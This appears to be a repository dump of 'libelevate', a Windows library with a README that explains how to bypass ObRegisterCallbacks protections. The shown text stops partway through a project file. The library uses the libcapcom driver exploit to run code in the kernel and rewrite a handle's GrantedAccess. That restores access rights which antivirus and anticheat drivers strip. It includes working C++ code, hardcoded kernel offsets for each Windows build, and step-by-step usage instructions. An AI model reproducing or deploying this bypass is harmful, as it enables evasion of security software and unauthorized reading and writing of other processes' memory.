Repository: notscimmy/libelevate
Branch: master
Commit: 56c2292157f9
Files: 14
Total size: 45.7 KB
Directory structure:
gitextract_6xerqbfn/
├── .gitignore
├── .gitmodules
├── README.md
├── libelevate/
│ ├── kerneloffsets.cpp
│ ├── kerneloffsets.h
│ ├── libelevate.cpp
│ ├── libelevate.h
│ ├── libelevate.vcxproj
│ ├── libelevate.vcxproj.filters
│ └── structs.h
├── libelevate.sln
└── testlibelevate/
├── main.cpp
├── testlibelevate.vcxproj
└── testlibelevate.vcxproj.filters
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
##
## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
# User-specific files
*.suo
*.user
*.userosscache
*.sln.docstates
# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
bld/
[Bb]in/
[Oo]bj/
[Ll]og/
# Visual Studio 2015/2017 cache/options directory
.vs/
# Uncomment if you have tasks that create the project's static files in wwwroot
#wwwroot/
# Visual Studio 2017 auto generated files
Generated\ Files/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
# NUNIT
*.VisualState.xml
TestResult.xml
# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c
# Benchmark Results
BenchmarkDotNet.Artifacts/
# .NET Core
project.lock.json
project.fragment.lock.json
artifacts/
**/Properties/launchSettings.json
# StyleCop
StyleCopReport.xml
# Files built by Visual Studio
*_i.c
*_p.c
*_i.h
*.ilk
*.meta
*.obj
*.iobj
*.pch
*.pdb
*.ipdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Chutzpah Test files
_Chutzpah*
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
*.VC.db
*.VC.VC.opendb
# Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap
# Visual Studio Trace Files
*.e2e
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user
# JustCode is a .NET coding add-in
.JustCode
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# AxoCover is a Code Coverage Tool
.axoCover/*
!.axoCover/settings.json
# Visual Studio code coverage results
*.coverage
*.coveragexml
# NCrunch
_NCrunch_*
.*crunch*.local.xml
nCrunchTemp_*
# MightyMoose
*.mm.*
AutoTest.Net/
# Web workbench (sass)
.sass-cache/
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# Note: Comment the next line if you want to checkin your web deploy settings,
# but database connection strings (with potential passwords) will be unencrypted
*.pubxml
*.publishproj
# Microsoft Azure Web App publish settings. Comment the next line if you want to
# checkin your Azure Web App publish settings, but sensitive information contained
# in these scripts will be unencrypted
PublishScripts/
# NuGet Packages
*.nupkg
# The packages folder can be ignored because of Package Restore
**/[Pp]ackages/*
# except build/, which is used as an MSBuild target.
!**/[Pp]ackages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/[Pp]ackages/repositories.config
# NuGet v3's project.json files produces more ignorable files
*.nuget.props
*.nuget.targets
# Microsoft Azure Build Output
csx/
*.build.csdef
# Microsoft Azure Emulator
ecf/
rcf/
# Windows Store app package directories and files
AppPackages/
BundleArtifacts/
Package.StoreAssociation.xml
_pkginfo.txt
*.appx
# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!*.[Cc]ache/
# Others
ClientBin/
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.jfm
*.pfx
*.publishsettings
orleans.codegen.cs
# Including strong name files can present a security risk
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
#*.snk
# Since there are multiple workflows, uncomment next line to ignore bower_components
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
#bower_components/
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
ServiceFabricBackup/
*.rptproj.bak
# SQL Server files
*.mdf
*.ldf
*.ndf
# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
*.rptproj.rsuser
# Microsoft Fakes
FakesAssemblies/
# GhostDoc plugin setting file
*.GhostDoc.xml
# Node.js Tools for Visual Studio
.ntvs_analysis.dat
node_modules/
# Visual Studio 6 build log
*.plg
# Visual Studio 6 workspace options file
*.opt
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
*.vbw
# Visual Studio LightSwitch build output
**/*.HTMLClient/GeneratedArtifacts
**/*.DesktopClient/GeneratedArtifacts
**/*.DesktopClient/ModelManifest.xml
**/*.Server/GeneratedArtifacts
**/*.Server/ModelManifest.xml
_Pvt_Extensions
# Paket dependency manager
.paket/paket.exe
paket-files/
# FAKE - F# Make
.fake/
# JetBrains Rider
.idea/
*.sln.iml
# CodeRush
.cr/
# Python Tools for Visual Studio (PTVS)
__pycache__/
*.pyc
# Cake - Uncomment if you are using it
# tools/**
# !tools/packages.config
# Tabs Studio
*.tss
# Telerik's JustMock configuration file
*.jmconfig
# BizTalk build output
*.btp.cs
*.btm.cs
*.odx.cs
*.xsd.cs
# OpenCover UI analysis results
OpenCover/
# Azure Stream Analytics local run output
ASALocalRun/
# MSBuild Binary and Structured Log
*.binlog
# NVidia Nsight GPU debugger configuration file
*.nvuser
# MFractors (Xamarin productivity tool) working folder
.mfractor/
================================================
FILE: .gitmodules
================================================
[submodule "libcapcom"]
path = libcapcom
url = https://github.com/notscimmy/libcapcom.git
================================================
FILE: README.md
================================================
# libelevate - Bypass ObRegisterCallbacks via elevation
## ObRegisterCallbacks
One of the goals of antivirus and anticheat software is to block malicious programs from reading and writing memory of other processes. Before more advanced enhancements to **PatchGuard**, anticheat and antivirus software were notorious for hooking the kernel, via an SSDT (System Service Dispatch Table) hook or straight up byte-patching, in order to monitor API calls from user-mode. **ObRegisterCallbacks** is Microsoft's official and supported method to intercept API calls that grant access rights of a process to another process. A very nice article that explains the internals of it can be found here: https://douggemhax.wordpress.com/2015/05/27/obregistercallbacks-and-countermeasures/.
## Reversing OpenProcess
By design, a modern operating system implements **virtual memory** and **process isolation**, meaning that an arbitrary process X cannot reference memory in another arbitrary process Y. ```OpenProcess``` is a powerful WinAPI function that allows a user-mode process to gain access rights to other processes by asking for permission granted by the kernel. This access right is the entrypoint to enable many other powerful functions that manipulate other processes such as ```ReadProcessMemory```, ```WriteProcessMemory```, and ```VirtualAllocEx```.
```OpenProcess``` is an API that exported by **kernel32.dll**, which is part of the Windows subsystem that links against **ntdll.dll**, the library that contains all of the syscall stubs that will eventually call into the code in **ntoskrnl.exe** which does most of the work when it comes to implementing the higher level WinAPI functions.
Let's talk about the flow of code that gets executed when someone links against the Window SDK and calls ```OpenProcess```. The first thing that happens is that ```NtOpenProcess```, the underlying **ntdll.dll** API, gets called. Then, a syscall instruction gets executed with the index that maps to the equivalent to ```NtOpenProcess``` on the syscall table. At this point, execution is transferred to the kernel, where the actual implementation lives. Finally, an internal and undocumented function inside **ntoskrnl.exe**, ```PsOpenProcess``` gets called, and the result of that function is returned.
Here's a diagram that is basically a tl;dr.

## Registering Callbacks
```ObRegisterCallbacks``` is a pretty well documented API on MSDN that clearly defines all the structures and parameters. Each callback you want to register is defined by the following structure and function prototypes:
```cpp
OB_PREOP_CALLBACK_STATUS PobPreOperationCallback(
PVOID RegistrationContext,
POB_PRE_OPERATION_INFORMATION OperationInformation
);
void PobPostOperationCallback(
PVOID RegistrationContext,
POB_POST_OPERATION_INFORMATION OperationInformation
);
typedef struct _OB_OPERATION_REGISTRATION {
POBJECT_TYPE *ObjectType;
OB_OPERATION Operations;
POB_PRE_OPERATION_CALLBACK PreOperation;
POB_POST_OPERATION_CALLBACK PostOperation;
} OB_OPERATION_REGISTRATION, *POB_OPERATION_REGISTRATION;
```
Example code for how to properly register callbacks can be found here: https://github.com/Microsoft/Windows-driver-samples/blob/master/general/obcallback/driver/callback.c
## Intercepting an OpenProcess Call
So the next logical question at this point would be: where do these callbacks actually get called? Recall the diagram for the flow of execution for ```OpenProcess``` and all the steps that are taken to transition from user mode to kernel mode. It makes sense that somewhere along that path of code execution, the callback registered via ```ObRegisterCallbacks``` will be called, and it makes sense that this gets called in the kernel. Let's take a look at the disassembly starting from the implementation of ```NtOpenProcess``` inside **ntoskrnl.exe**.
Disassembly from IDA shows us the following code:
```nasm
PAGE:0000000140583180 NtOpenProcess proc near ; CODE XREF: PfpSourceGetPrefetchSupport+A5↓p
PAGE:0000000140583180 ; DATA XREF: .pdata:0000000140423B20↑o
PAGE:0000000140583180
PAGE:0000000140583180 var_18 = byte ptr -18h
PAGE:0000000140583180 var_10 = byte ptr -10h
PAGE:0000000140583180
PAGE:0000000140583180 sub rsp, 38h
PAGE:0000000140583184 mov rax, gs:188h
PAGE:000000014058318D mov r10b, [rax+232h]
PAGE:0000000140583194 mov [rsp+38h+var_10], r10b
PAGE:0000000140583199 mov [rsp+38h+var_18], r10b
PAGE:000000014058319E call PsOpenProcess
PAGE:00000001405831A3 add rsp, 38h
PAGE:00000001405831A7 retn
PAGE:00000001405831A7 NtOpenProcess endp
```
Cool, we don't see anything regarding ```ObRegisterCallbacks```, but we do see a call to ```PsOpenProcess```. Unfortunately, this function is extremely involved, so it doesn't make sense to paste an entire snippet here. Instead, let's look at a portion that may be related to ```ObRegisterCallbacks```.
```nasm
PAGE:00000001405836E0 PsOpenProcess proc near ; CODE XREF: NtAlpcOpenSenderProcess+194↑p
PAGE:00000001405836E0 ; NtOpenProcess+1E↑p
PAGE:00000001405836E0 ; DATA XREF: ...
PAGE:0000000140583950 loc_140583950: ; CODE XREF: PsOpenProcess+411↓j
PAGE:0000000140583950 lea rax, [rsp+2D8h+var_248]
PAGE:0000000140583958 mov qword ptr [rsp+2D8h+var_2A8], rax ; int
PAGE:000000014058395D mov [rsp+2D8h+var_2B0], dil ; char
PAGE:0000000140583962 mov rax, cs:PsProcessType
PAGE:0000000140583969 mov [rsp+2D8h+var_2B8], rax ; __int64
PAGE:000000014058396E xor r9d, r9d
PAGE:0000000140583971 lea r8, [rsp+2D8h+var_1E8]
PAGE:0000000140583979 mov edx, [rsp+2D8h+var_294]
PAGE:000000014058397D mov rdi, [rsp+2D8h+BugCheckParameter2]
PAGE:0000000140583985 mov rcx, rdi ; BugCheckParameter2
PAGE:0000000140583988 call ObOpenObjectByPointer
PAGE:000000014058398D mov ebx, eax
PAGE:000000014058398F lea rcx, [rsp+2D8h+var_1E8]
PAGE:0000000140583997 call SepDeleteAccessState
PAGE:000000014058399C lea rcx, [rsp+2D8h+var_1C8]
PAGE:00000001405839A4 call SeReleaseSubjectContext
PAGE:00000001405839A9 mov eax, [rdi+2E0h]
PAGE:00000001405839AF mov [rsp+2D8h+var_288], eax
PAGE:00000001405839B3 mov edx, 746C6644h
PAGE:00000001405839B8 mov rcx, rdi ; BugCheckParameter2
PAGE:00000001405839BB call ObfDereferenceObjectWithTag
PAGE:00000001405839C0 test ebx, ebx
PAGE:00000001405839C2 js short loc_1405839D8
```
We see a function call to ```ObOpenObjectByPointer```. Symbols in the kernel are generally prefixed with an identifier that describes what type of data it manipulates. As seen here ```ObOpenObjectByPointer``` and ```ObRegisterCallbacks``` are both prefixed with ```Ob```, which would be the **Object Manager**.
```nasm
PAGE:00000001405831B0 ObOpenObjectByPointer proc near ; CODE XREF: PspCreateObjectHandle+38↑p
PAGE:00000001405831B0 ; NtQueryInformationProcess+35F0↑p ...
PAGE:000000014058323F loc_14058323F: ; CODE XREF: ObOpenObjectByPointer+16E↓j
PAGE:000000014058323F mov [rsp+258h+var_208], r14
PAGE:0000000140583244 xor r8d, r8d
PAGE:0000000140583247 mov [rsp+258h+var_210], r13
PAGE:000000014058324C mov r9, rbx
PAGE:000000014058324F mov [rsp+258h+var_218], r13d
PAGE:0000000140583254 mov rdx, rsi
PAGE:0000000140583257 mov [rsp+258h+var_220], r13
PAGE:000000014058325C mov byte ptr [rsp+258h+var_228], r15b
PAGE:0000000140583261 lea ecx, [r8+1]
PAGE:0000000140583265 mov [rsp+258h+var_230], ebp
PAGE:0000000140583269 mov dword ptr [rsp+258h+var_238], r13d
PAGE:000000014058326E call ObpCreateHandle
PAGE:0000000140583273 mov edi, eax
PAGE:0000000140583275 test eax, eax
PAGE:0000000140583277 js loc_14058334F
```
Inside ```ObOpenObjectByPointer```, we see another call to an **Object Manager** related function, ```ObpCreateHandle```.
```nasm
PAGE:00000001404DBEB0 ObpCreateHandle proc near ; CODE XREF: ObInsertObjectEx+109↑p
PAGE:00000001404DBEB0 ; ObInsertObjectEx+397↑p ...
PAGE:00000001404DC7C1 loc_1404DC7C1: ; CODE XREF: ObpCreateHandle+324↑j
PAGE:00000001404DC84A xor eax, eax
PAGE:00000001404DC84C mov [rbp+110h+var_88], rax
PAGE:00000001404DC853 mov [rbp+110h+Dst], 1
PAGE:00000001404DC85A mov [rbp+110h+var_90], rbx
PAGE:00000001404DC861 mov dword ptr [rbp+110h+var_C8+4], edi
PAGE:00000001404DC864 mov dword ptr [rbp+110h+var_C8], edi
PAGE:00000001404DC867 call ObpCallPreOperationCallbacks
PAGE:00000001404DC86C mov ebx, eax
PAGE:00000001404DC86E test eax, eax
PAGE:00000001404DC870 js loc_1406796F5
```
And finally, we find what we're looking for. ```ObpCallPreOperationCallbacks``` is the function that ultimately calls the ```POB_PRE_OPERATION_CALLBACK PreOperation``` function defined in the ```_OB_OPERATION_REGISTRATION``` structure initially passed into ```ObRegisterCallbacks```. In summary, this function loops over all of the ```_OB_OPERATION_REGISTRATION``` structures that are registered, and then sequentially calls each **PreOperation** function defined by a kernel mode driver.
## Bypassing ObRegisterCallbacks
Douggem's article details a method of bypassing these callbacks by using DKOM (Direct Kernel Object Manipulation) in order to locate the callbacks in kernel memory, and then remove them so that ```ObpCallPreOperationCallbacks``` has nothing to call. This method, though effective, has a few drawbacks.
1. Using undocumented structures could be dangerous due to Windows updates
2. Forcibly removing callbacks means that the driver that registered them can execute sanity checks
3. PatchGuard may someday decide to check for tampering of these kernel structures
**libelevate** takes a different approach. Instead of directly touching callbacks to prevent stripping of access rights, why not elevate those rights after the fact that they have been stripped?
### Locating a HANDLE in the kernel
An exported, but undocumented function ```ExEnumHandleTable``` does exactly what we want: execute a driver-defined function for every handle table entry in the handle table. Let's take a look at the disassembly:
```nasm
PAGE:000000014050E4C0 ExEnumHandleTable proc near ; CODE XREF: IoRevokeHandlesForProcess+11E↑p
PAGE:000000014050E4C0 ; NtQueryInformationProcess+29DE↑p ...
PAGE:000000014050E5AF loc_14050E5AF: ; CODE XREF: ExEnumHandleTable+7A↑j
PAGE:000000014050E5AF ; DATA XREF: .pdata:000000014041EA38↑o ...
PAGE:000000014050E5AF add r9, 4
PAGE:000000014050E5B3 mov rcx, rbp
PAGE:000000014050E5B6 mov rdx, r9
PAGE:000000014050E5B9 call ExpLookupHandleTableEntry
PAGE:000000014050E5BE mov rdi, rax
PAGE:000000014050E5C1 jmp loc_14050E540
```
Sweet, ```ExpLookupHandleTableEntry``` looks like a function that does what we actually want. This undocumented function takes in a **pointer to the object table**, found in the ```EPROCESS``` structure for a process, and the ```HANDLE``` value to look for. What this returns is a pointer to a ```_HANDLE_TABLE_ENTRY``` structure, which looks like this:
```C
typedef struct _HANDLE_TABLE_ENTRY
{
union
{
PVOID Object;
ULONG ObAttributes;
PHANDLE_TABLE_ENTRY_INFO InfoTable;
ULONG Value;
};
union
{
ULONG GrantedAccess;
struct
{
WORD GrantedAccessIndex;
WORD CreatorBackTraceIndex;
};
LONG NextFreeTableEntry;
};
} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;
```
### Leveraging libcapcom
Implementing the handle elevation technique is quite simple given all the information above. The flow of execution is the following:
1. Open a handle with your desired access rights using ```OpenProcess```
2. Antivirus/anticheat driver's callback strips your handle access rights
3. In the context of the kernel:
* Find the ```HANDLE_TABLE_ENTRY``` that maps to the initial handle from step 1.
* Set the ```GrantedAccess``` member to your desired access rights
4. Do whatever you want in user mode with your newly elevated handle
### Caveats
1. I have basically copy-pasted decompiled code for ```ExpLookupHandleTableEntry``` to be called in the context of the kernel. I can either do that, or implement a signature scan for the function, and call it directly. Either way, it is still Windows update dependent.
2. Antivirus/anticheat drivers can still strip handles by **manually iterating the handle table** and stripping unauthorized handles. If I am able to elevate handles, then they can strip them after ```ObRegisterCallbacks``` too.
## How to use this library
1. Build the project
2. Link against **libelevate.lib**
3. Include **libelevate.h**
4. Call ```OpenProcess```
5. Call ```grant_access(HANDLE, ACCESS_MASK)``` with the returned ```HANDLE``` and your desired access rights
An example of the list above can be found in the **testlibelevate** project.

================================================
FILE: libelevate/kerneloffsets.cpp
================================================
#include "kerneloffsets.h"
windows_version kernel_offsets::version;
uint64_t kernel_offsets::name;
uint64_t kernel_offsets::pid;
uint64_t kernel_offsets::base;
uint64_t kernel_offsets::link;
uint64_t kernel_offsets::protection;
uint64_t kernel_offsets::flags2;
uint64_t kernel_offsets::objecttable;
uint64_t kernel_offsets::vadroot;
windows_version get_windows_version()
{
std::wstring wskernel32 = L"\\kernel32.dll";
wchar_t *path = NULL;
void *ver = NULL, *block;
windows_version version;
UINT n;
BOOL r;
DWORD versz, blocksz;
VS_FIXEDFILEINFO *vinfo;
path = (wchar_t*)malloc(sizeof(*path) * MAX_PATH);
if (!path)
abort();
n = GetSystemDirectoryW(path, MAX_PATH);
if (n >= MAX_PATH || n == 0 ||
n > MAX_PATH - wskernel32.length())
abort();
memcpy(path + n, wskernel32.c_str(), wskernel32.length() * sizeof(wchar_t) + 2);
versz = GetFileVersionInfoSizeW(path, NULL);
if (versz == 0)
abort();
ver = malloc(versz);
if (!ver)
abort();
r = GetFileVersionInfoW(path, 0, versz, ver);
if (!r)
abort();
r = VerQueryValueA(ver, "\\", &block, (PUINT)&blocksz);
if (!r || blocksz < sizeof(VS_FIXEDFILEINFO))
abort();
vinfo = (VS_FIXEDFILEINFO *)block;
if ((int)HIWORD(vinfo->dwProductVersionMS) == 10)
version = WINDOWS10;
else if ((int)HIWORD(vinfo->dwProductVersionMS) == 6)
{
switch ((int)LOWORD(vinfo->dwProductVersionMS))
{
case 0:
version = UNSUPPORTED;
break;
case 1:
version = WINDOWS7;
break;
case 2:
version = WINDOWS8;
break;
case 3:
version = WINDOWS81;
break;
default:
version = UNSUPPORTED;
}
}
else
version = UNSUPPORTED;
free(path);
free(ver);
return version;
}
================================================
FILE: libelevate/kerneloffsets.h
================================================
#pragma once
#include <string>
#include <Windows.h>
enum windows_version
{
WINDOWS7,
WINDOWS8,
WINDOWS81,
WINDOWS10,
UNSUPPORTED
};
extern windows_version get_windows_version();
extern "C" NTSTATUS RtlGetVersion(PRTL_OSVERSIONINFOW lpVersionInformation);
class kernel_offsets
{
public:
static windows_version version;
// Eprocess Offsets
static uint64_t name;
static uint64_t pid;
static uint64_t base;
static uint64_t link;
static uint64_t protection;
static uint64_t flags2;
static uint64_t objecttable;
static uint64_t vadroot;
static void init()
{
windows_version win_ver = get_windows_version();
version = win_ver;
switch (win_ver)
{
case WINDOWS7:
init_win7();
break;
case WINDOWS8:
init_win8();
break;
case WINDOWS81:
init_win81();
break;
case WINDOWS10:
init_win10();
break;
}
}
private:
static void init_win7()
{
name = 0x2D8;
pid = 0x180;
base = 0x270;
link = 0x188;
protection = 0x43C;
flags2 = 0;
objecttable = 0x200;
vadroot = 0x448;
}
static void init_win8()
{
name = 0x438;
pid = 0x2E0;
base = 0x3B0;
link = 0x2E8;
protection = 0x648;
flags2 = 0;
objecttable = 0x408;
vadroot = 0x590;
}
static void init_win81()
{
name = 0x438;
pid = 0x2E0;
base = 0x3B0;
link = 0x2E8;
protection = 0x67A;
flags2 = 0x2F8;
objecttable = 0x408;
vadroot = 0x5D8;
}
static void init_win10()
{
name = 0x450;
pid = 0x2E0;
base = 0x3C0;
link = 0x2E8;
protection = 0x6B2;
flags2 = 0x300;
objecttable = 0x418;
vadroot = 0x610;
RTL_OSVERSIONINFOW osVersion;
RtlGetVersion(&osVersion);
if (osVersion.dwBuildNumber == 10586)
{
protection = 0x6B2;
flags2 = 0x300;
objecttable = 0x418;
vadroot = 0x610;
}
else if (osVersion.dwBuildNumber == 14393)
{
protection = 0x6C2;
flags2 = 0x300;
objecttable = 0x418;
vadroot = 0x620;
}
else if (osVersion.dwBuildNumber == 15063)
{
protection = 0x6CA;
flags2 = 0x300;
objecttable = 0x418;
vadroot = 0x628;
}
else if (osVersion.dwBuildNumber == 16299)
{
protection = 0x6CA;
flags2 = 0x828;
objecttable = 0x418;
vadroot = 0x628;
}
else if (osVersion.dwBuildNumber == 17134)
{
protection = 0x6CA;
flags2 = 0x828;
objecttable = 0x418;
vadroot = 0x628;
}
}
};
================================================
FILE: libelevate/libelevate.cpp
================================================
#include "structs.h"
#include "kerneloffsets.h"
#include "libcapcom.h"
using namespace native::structs;
PHANDLE_TABLE_ENTRY ExpLookupHandleTableEntry(PHANDLE_TABLE pHandleTable, HANDLE handle)
{
unsigned __int64 v2; // rdx
__int64 v3; // r8
signed __int64 v4; // rax
__int64 v5; // rax
v2 = (__int64)handle & 0xFFFFFFFFFFFFFFFCui64;
if (v2 >= *(DWORD*)pHandleTable)
return 0i64;
v3 = *((uintptr_t*)pHandleTable + 1);
v4 = *((uintptr_t *)pHandleTable + 1) & 3i64;
if ((uint32_t)v4 == 1)
{
v5 = *(uintptr_t*)(v3 + 8 * (v2 >> 10) - 1);
return (PHANDLE_TABLE_ENTRY)(v5 + 4 * (v2 & 0x3FF));
}
if ((uint32_t)v4)
{
v5 = *(uintptr_t*)(*(uintptr_t *)(v3 + 8 * (v2 >> 19) - 2) + 8 * ((v2 >> 10) & 0x1FF));
return (PHANDLE_TABLE_ENTRY)(v5 + 4 * (v2 & 0x3FF));
}
return (PHANDLE_TABLE_ENTRY)(v3 + 4 * v2);
}
bool grant_access(HANDLE handle, ACCESS_MASK access)
{
if (!init_exploit()) return false;
kernel_offsets::init();
execute_in_kernel([&handle, &access](MmGetSystemRoutineAddress_t _MmGetSystemRoutineAddress)
{
UNICODE_STRING DbgPrintExName = { 0 };
RtlInitUnicodeString(&DbgPrintExName, L"DbgPrintEx");
UNICODE_STRING PsGetCurrentProcessName = { 0 };
RtlInitUnicodeString(&PsGetCurrentProcessName, L"PsGetCurrentProcess");
DbgPrintEx_t _DbgPrintEx = (DbgPrintEx_t)_MmGetSystemRoutineAddress(&DbgPrintExName);
PsGetCurrentProcess_t _PsGetCurrentProcess = (PsGetCurrentProcess_t)_MmGetSystemRoutineAddress(&PsGetCurrentProcessName);
void* pEProcess = _PsGetCurrentProcess();
PHANDLE_TABLE pHandleTable = *(PHANDLE_TABLE*)((unsigned char*)pEProcess + kernel_offsets::objecttable);
PHANDLE_TABLE_ENTRY pEntry = ExpLookupHandleTableEntry(pHandleTable, handle);
ACCESS_MASK oldAccess = pEntry->GrantedAccess;
pEntry->GrantedAccess = access;
_DbgPrintEx(77, 0, "Old: 0x%llx -> New: 0x%llx", oldAccess, pEntry->GrantedAccess);
});
return cleanup_exploit();
}
================================================
FILE: libelevate/libelevate.h
================================================
#pragma once
#include <Windows.h>
/*
Grants the given `handle` the access rights defined by `access`
@param handle a handle that is created by a call to OpenProcess or
OpenThread
@param access a 32-bit mask that defines the access rights that a
handle grants. More information can be found on MSDN:
https://docs.microsoft.com/en-us/windows/desktop/ProcThread/process-security-and-access-rights
@return true if the exploit was loaded, executed, and unloaded properly
*/
extern bool grant_access(HANDLE handle, ACCESS_MASK access);
================================================
FILE: libelevate/libelevate.vcxproj
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>15.0</VCProjectVersion>
<ProjectGuid>{5BBDF4C8-27BC-488C-8D19-B3C345CA1F0E}</ProjectGuid>
<RootNamespace>libelevate</RootNamespace>
<WindowsTargetPlatformVersion>10.0.17134.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<IncludePath>$(SolutionDir)libcapcom\libcapcom;$(IncludePath)</IncludePath>
<LibraryPath>$(SolutionDir)x64\Release;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
